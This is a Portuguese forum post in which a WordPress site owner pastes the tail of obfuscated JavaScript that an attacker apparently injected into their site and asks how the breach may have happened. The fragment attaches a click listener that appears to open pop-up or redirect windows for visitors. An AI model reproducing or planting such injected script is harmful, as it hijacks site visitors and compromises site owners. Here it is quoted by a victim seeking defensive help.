_0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());</script>  
      Por favor, alguém sabe como esse código pode ter sido inserido por um invasor para que eu possa fechar a possível brecha no código?
      O site foi desenvolvido utilizano wordpress.
      Desde já agradeço a todos que puderem ou tentarem me ajudar a descobrir o que pode ter acontecido.
×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.